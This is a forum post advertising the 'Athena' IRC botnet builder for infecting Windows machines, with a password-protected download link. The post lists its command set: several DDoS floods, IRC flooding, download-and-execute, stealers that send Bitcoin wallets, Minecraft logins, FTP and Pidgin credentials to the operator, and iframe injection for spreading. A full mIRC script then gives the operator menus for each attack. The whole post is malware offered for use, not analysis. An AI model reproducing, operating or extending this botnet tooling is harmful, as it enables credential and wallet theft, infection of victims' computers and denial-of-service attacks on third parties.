Athena 1.8.7 IRC Bot Builder By NoNh [NEWEST!] 06-21-2013, 10:16 AM
#1
![[Image: 225638ScreenShot028.png]](http://img15.hostingpics.net/pics/225638ScreenShot028.png)
[hide]
download:
-snip-
Password:
TrojanForge.com
Code:
Athena is an IRC bot coded in C++ (zero dependencies) perfect for infecting Windows machines. After execution, Athena installs into the host computer using multiple methods of startup(both registry and non-registry) depending on the environment it is in.
- 7 Intense methods of DDoS
- IRC-war functionality
- Anti-botkiller
- Independent; requires no .NET framework or any 3rd party libraries
- Variety of stealers / grabbers
Bot Nickname Generation:
Code:
[A|WIN7|x64|D]abcdef
[U|W_XP|x32|L]fedcba
[Admin/User|OS|Arch|Desktop/Laptop]random-letters
Commands / Features: (You can set any of these in your topic - bots will parse the command on join)
DDoS Commands
[Port 80 is most common for websites]
!udp - Sends mass amounts of random packets to target host/ip, perfect for home connections(SYNTAX: !udp host/ip port time)[Use '0' to flood random ports]
!condis - Rapid connect/disconnect flood, it takes down gaming(ie. CSS) and teamspeak/VoiP servers like gravy(SYNTAX: !condis host/ip port time)
!httpget - Rapidly sends hundreds of HTTP GET requests every second from each bot
!httppost - Makes hundreds of HTTP POST requests from each bot, and holds connection by slowly posting content
!slowloris - Connects to a webserver through several hundred sockets per bot, and sits on it.
!arme - Exploits a vulnerability in Apache that crashes servers though many bulk partial headers requests at once causing a lot of memory to swap to the remote filesystem. It will break vulnerable servers' physical hardware if vulnerable enough.
!rudy - Slowly posts data to existing forms on a given website in many concurrent submissions.
!stop - Stops any existing floods
(SYNTAX: !ddos-type http://website.com/directory/index.php port time)[a specific directory/file is optional]
IRC War ( Flooding )
!irc.connect - Connects to another IRC server/network through multiple sockets in preparation for flooding. (SYNTAX: !irc.connect irc.server.net 6667)
!irc.joinpart - Floods a target channel with rapid joins, parts, nick changes, and knocks if necessary. (SYNTAX: !irc.joinpart #channel)
!irc.channel - Floods a target channel through joins, parts, messages, notices, nick changes, and knocks if necessary with random data. (SYNTAX: !irc.channel #channel)
!irc.user - Floods a target nickname with random data from bots which are consistantly changing their nicknames. (SYNTAX: !irc.user nickname)
!irc.anope - Floods anope(NickServ, ChanServ, MemoServ, BotServ, OperServ, etc etc etc) with commands that require replies. Enough bots will crash services, regardless if the IRC network hub is hidden or not.
!irc.stop - Stops a currently running IRC flood if it exists
!irc.register - Attempts to register with NickServ if it exists
!irc.newnick - Changes flood bot nicknames to new randomly generated ones
!irc.raw - Sends a RAW IRC command (SYNTAX: !irc.raw PRIVMSG #channel :this is a raw message)
!irc.join - Joins bots to a channel (SYNTAX: !irc.join #channel)
!irc.part - Parts bots from a channel (SYNTAX: !irc.part #channel)
!irc.message - Sends a message to a target nick/channel (SYNTAX: !irc.message nickname/#channel message goes here)
!irc.notice - Sends a notice to a target nick/channel (SYNTAX: !irc.notice nickname/#channel notice goes here)
!irc.invite - Invites a target nickname to a random secured channel (SYNTAX: !irc.invite nickname)
!irc.disconnect - Disconnects all flood bots on the remote IRC server/network
Misc. Bot Commands
!id - Displays the version of the bot, who it is licensed to, its IP, and the number of CPU cores
!ping - Returns bot's ping time to its current connection
!botkill - Attempts to kill any previously existing bots on the host computer
!openurl - Opens a webpage in the default browser(SYNTAX: !openurl http://website.com)
!openurlhidden - Opens a webpage hidden in Internet Explorer(SYNTAX: !openurlhidden http://website.com)
!blockurl - Creates a line in the computer hosts file that disallows access to a specified host(SYNTAX: !blockurl website.com)
!dlexec - Downloads and executes a file from a URL(SYNTAX: !dlexec http://website.com/program.exe)
!update - Downloads and executes a given link. The bot will uninstall after successful execution(SYNTAX: !update http://website.com/file.exe)
!remove - Uninstalls the bot and deletes any traces of itself
Stealers
!btcwallet - Scans bot computer for wallet.dat(BTC wallet) and uploads it to an FTP of your choice(SYNTAX: !btcwallet ftphost.com user123 pass123)
!minecraft - Scans bot computer for the MineCraft lastlogin file and uploads it to an FTP of your choice(SYNTAX: !minecraft ftphost.com user123 pass123)
!ftp - Outputs found FTP logins to your channel(Supports FileZilla and SmartFTP)
!pidgin - Outputs any existing Pidgin logins to your channel
Spread
!iframe - Injects a hex'd iframe into any existing PHP, HTML, HTM, ASP, CFM, and CFML files on the bot computer(SYNTAX: !iframe http://website.com/)
IRC Commands
!raw - Sends raw commands to the server(SYNTAX: !raw PRIVMSG #channel :message)
!silent on/off - Toggles bot output(overridden by the !raw command)
!join - Joins bots to a channel(SYNTAX: !join #channel [chankey])
!join.net - Joins bots that have versions 2.0, 3.0, 3.5, and/or 4.0 of Microsoft.NET installed to a channel and outputs the framework version(SYNTAX: !join.net #channel [chankey])
!part - Parts bots from a channel(SYNTAX: !part #channel)
!newnick - Changes bot nickname to a new one
!reconnect - Attempts to reconnect to the current IRC server/network and channel after disconnecting for 20 secondsIRC Script:
Code:
;Athena mIRC Scripts
on *:LOAD: {
Athena
}
on *:CONNECT: {
Athena
}
alias Athena {
echo -a 3Setting necessary variables for 11*10Athena11*
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
set %botVar4 NULL
}
menu channel {
-
Athena
.Version/License/IP/info:/msg $active !id
.-
.Bot Computer
..Botkill:/msg $active !botkill
..Open URL:{
%botVar = $$?="URL[http://website.com]:"
msg $active !openurl %botVar
set %botVar NULL
}
..Open URL[hidden]:{
%botVar = $$?="URL[http://website.com]:"
msg $active !openurlhidden %botVar
set %botVar NULL
}
..-
..Block URL:{
%botVar = $$?="URL[website.com]:"
msg $active !blockurl %botVar
set %botVar NULL
}
..-
..Download + Execute:{
%botVar = $$?="Full URL[http://website.com/program.exe]:"
msg $active !dlexec %botVar
set %botVar NULL
}
..Update:{
%botVar = $$?="URL[http://website.com/program.exe]:"
msg $active !update %botVar
set %botVar NULL
}
.-
.DDoS
..Stop Flooding:/msg $active !stop
..-
..Rapid HTTP GET:{
%botVar = $$?="Hostname/IP + extention (Example: website.com/directory/index.php):"
%botVar2 = $$?="Port(80 is most common for HTTP):"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !httpget %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..Slow HTTP POST:{
%botVar = $$?="Hostname/IP:"
%botVar2 = $$?="Port(80 is most common for HTTP):"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !httppost %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..Slowloris:{
%botVar = $$?="Hostname/IP + extention (Example: website.com/directory/index.php):"
%botVar2 = $$?="Port(80 is most common for HTTP):"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !slowloris %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..ARME[Apache Remote Memory Exhaustion]:{
%botVar = $$?="Hostname/IP + extention (Example: website.com/directory/index.php):"
%botVar2 = $$?="Port(80 is most common for HTTP):"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !arme %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..RUDY:{
%botVar = $$?="Hostname/IP:"
%botVar2 = $$?="Port(80 is most common for HTTP):"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !rudy %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..-
..UDP:{
%botVar = $$?="Hostname/IP:"
%botVar2 = $$?="Port:"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !udp %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..Rapid Connect/Disconnect[gaming/voip/teamviewer servers]:{
%botVar = $$?="Hostname/IP:"
%botVar2 = $$?="Port:"
%botVar3 = $$?="Length of DDoS[seconds]:"
msg $active !condis %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
.-
.Stealers
..FTP:/msg $active !ftp
..Pidgin:/msg $active !pidgin
..MineCraft lastlogin:{
%botVar = $$?="FTP Hostname/IP:"
%botVar2 = $$?="FTP Username:"
%botVar3 = $$?="FTP Password:"
msg $active !minecraft %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
..Bitcoin wallet.dat:{
%botVar = $$?="FTP Hostname/IP:"
%botVar2 = $$?="FTP Username:"
%botVar3 = $$?="FTP Password:"
msg $active !btcwallet %botVar %botVar2 %botVar3
set %botVar NULL
set %botVar2 NULL
set %botVar3 NULL
}
.-
.Spread
..iframe Injection:{
%botVar = $$?="URL:"
msg $active !iframe %botVar
set %botVar NULL
}
.-
.Remote IRC Commands
..Connect to...:{
%botVar = $$?="IRC Hostname/IP:"
%botVar2 = $$?="Port(6667 is default for IRC):"
msg $active !irc.connect %botVar %botVar2
set %botVar NULL
set %botVar2 NULL
}
..Disconnect:/msg $active !irc.disconnect
..-
..Stop Flooding:/msg $active !stop
..-
..Anope Flood:/msg $active !irc.anope
..Join&Part Flood:{
%botVar = $$?="Target Channel:"
msg $active !irc.joinpart %botVar
set %botVar NULL
}
..Channel Flood:{
%botVar = $$?="Target Channel:"
msg $active !irc.channel %botVar
set %botVar NULL
}
..User Flood:{
%botVar = $$?="Target Nickname:"
msg $active !irc.user %botVar
set %botVar NULL
}
..-
..Register with NickServ:/msg $active !irc.register
..New Nicknames:/msg $active !irc.newnick
..Send RAW command:{
%botVar = $$?="RAW command:"
msg $active !irc.raw %botVar
set %botVar NULL
}
..-
..Join Channel:{
%botVar = $$?="Channel:"
msg $active !irc.join %botVar
set %botVar NULL
}
..Part Channel:{
%botVar = $$?="Channel:"
msg $active !irc.part %botVar
set %botVar NULL
}
..Message User/Channel:{
%botVar = $$?="Nickname:"
%botVar2 = $$?="Message:"
msg $active !irc.message %botVar %botVar2
set %botVar NULL
set %botVar2 NULL
}
..Notice User/Channel:{
%botVar = $$?="Nickname:"
%botVar2 = $$?="Notice:"
msg $active !irc.notice %botVar %botVar2
set %botVar NULL
set %botVar2 NULL
}
..Invite User:{
%botVar = $$?="Nickname:"
msg $active !irc.invite %botVar
set %botVar NULL
}
.-
.Local IRC Commands
..Silent on:{
msg $active !silent on
MODE $active +m
}
..Silent off:{
msg $active !silent off
MODE $active -m
}
..-
..New Nickname:/msg $active !newnick
..-
..Send raw command to IRC:{
%botVar = $$?="Raw Command:"
msg $active !raw %botVar
set %botVar NULL
}
..-
..Join:{
%botVar = $$?="Target Channel:"
msg $active !join %botVar
set %botVar NULL
}
..Join ( .NET ):{
%botVar = $$?="Target Channel:"
msg $active !join.net %botVar
set %botVar NULL
}
..Part:{
%botVar = $$?="Target Channel:"
msg $active !part %botVar
set %botVar NULL
}
..-
..Message:{
%botVar = $$?="Target Channel/User:"
%botVar2 = $$?="Message:"
msg $active !raw PRIVMSG %botVar : $+ %botVar2
set %botVar NULL
set %botVar2 NULL
}
..Notice:{
%botVar = $$?="Target Channel/User:"
%botVar2 = $$?="Message:"
msg $active !raw NOTICE %botVar : $+ %botVar2
set %botVar NULL
set %botVar2 NULL
}
..Knock:{
%botVar = $$?="Target Channel:"
%botVar2 = $$?="Message:"
msg $active !raw KNOCK %botVar %botVar2
set %botVar NULL
set %botVar2 NULL
}
.-
.Ping bots:/msg $active !ping
.Reconnect Bots:/msg $active !reconnect
.Remove Bots:{
set %botVar $?="Are you sure you want to delete all of the bots in channel $CCchannel? (yes/no)"
if (%botVar == yes) {
msg $active !remove
set %botVar NULL
}
elseif (%botVar == no) {
echo -a Removed no bots
set %botVar NULL
}
elseif(%botVar == NULL) {
echo -a You didn't type anything in the box
}
else {
echo -a You typed '%botVar' instead of 'yes' or 'no'
set %botVar NULL
}
}
}




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)










